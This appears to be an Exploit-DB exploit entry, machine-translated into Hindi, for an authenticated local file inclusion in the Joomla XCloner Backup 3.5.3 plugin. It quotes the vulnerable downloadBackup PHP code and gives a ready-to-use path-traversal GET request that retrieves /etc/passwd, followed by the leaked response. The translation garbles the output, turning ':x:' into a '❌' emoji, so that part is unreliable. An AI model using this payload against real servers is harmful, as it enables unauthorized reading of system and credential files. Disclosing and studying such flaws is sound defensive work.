
Joomla! Plugin XCloner Backup 3.5.3 - स्थानीय फ़ाइल शामिल करना (प्रमाणित)
शोषण शीर्षक: Joomla! प्लगइन XCloner बैकअप 3.5.3 - स्थानीय फ़ाइल समावेशन (प्रमाणित)
दिनांक: 2020-05-10
शोषण लेखक: मेहमत केलेप्से / गैस साइबर सुरक्षा
एक्सप्लॉइट-डीबी लेखक आईडी: 8763
संदर्भ: https://www.xcloner.com/xcloner-news/security-release-available-for-archived-joomla-version/
विक्रेता होमपेज: http://www.xcloner.com
सॉफ़्टवेयर लिंक: https://www.xcloner.com/support/download/
संस्करण: 3.5.3
परीक्षण किया गया: काली लिनक्स - अपाचे2
विवरण:
फ़ाइल: administrator/components/com_xcloner-backupandstore/admin.cloner.php
-
केस 'download':
downloadBackup($_REQUEST['file']);
break;
-
downloadBackup फ़ंक्शन की फ़ाइल -> administrator/components/com_xcloner-backupandstore/cloner.functions.php
संवेदनशील पैरामीटर: file
downloadBackup फ़ंक्शन की परिभाषा
-
function downloadBackup($file)
{
global $_CONFIG;
$file = realpath($_CONFIG['clonerPath'] . "/$file");
//सबसे पहले, देखें कि फ़ाइल मौजूद है या नहीं
if (!is_file($file)) {
die("404 फ़ाइल $file नहीं मिली!");
}
//फ़ाइल जानकारी
$len = get_filesize($file);
$filename = basename($file);
$file_extension = strtolower(substr(strrchr($filename, "."), 1));
//फ़ाइल के लिए सामग्री-प्रकार सेट करें
switch ($file_extension) {
default:
$ctype = "application/force-download";
}
smartReadFile($file, $filename);
exit;
}
-
और smartReadFile फ़ंक्शन की परिभाषा
-
function smartReadFile($location, $filename, $mimeType='application/octet-stream')
{ if(!file_exists($location))
{ header ("HTTP/1.0 404 Not Found");
return;
}
$size=filesize($location);
$time=date('r',filemtime($location));
$fm=@fopen($location,'r');
.
.
.
-
PoC:
अनुरोध:
-
GET /joomla/administrator/index.php?option=com_xcloner-backupandrestore&task=download&file=../../../../../../../../etc/passwd HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
Connection: close
Cookie: COOKIES
Upgrade-Insecure-Requests: 1
-
प्रतिक्रिया:
-
HTTP/1.0 200 OK
Date: Sun, 10 May 2020 18:12:04 GMT
Server: Apache/2.4.41 (Debian)
Cache-Control: public, must-revalidate, max-age=0
Pragma: no-cache
Accept-Ranges: bytes
Content-Length: 3347
Content-Range: bytes 0-3347/3347
Content-Disposition: inline; filename=passwd
Content-Transfer-Encoding: binary
Last-Modified: Sun, 22 Mar 2020 05:41:35 -0700
Connection: close
Content-Type: application/octet-stream
root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin❌2:2:bin:/bin:/usr/sbin/nologin
sys❌3:3:sys:/dev:/usr/sbin/nologin
sync❌4:65534:sync:/bin:/bin/sync
.
.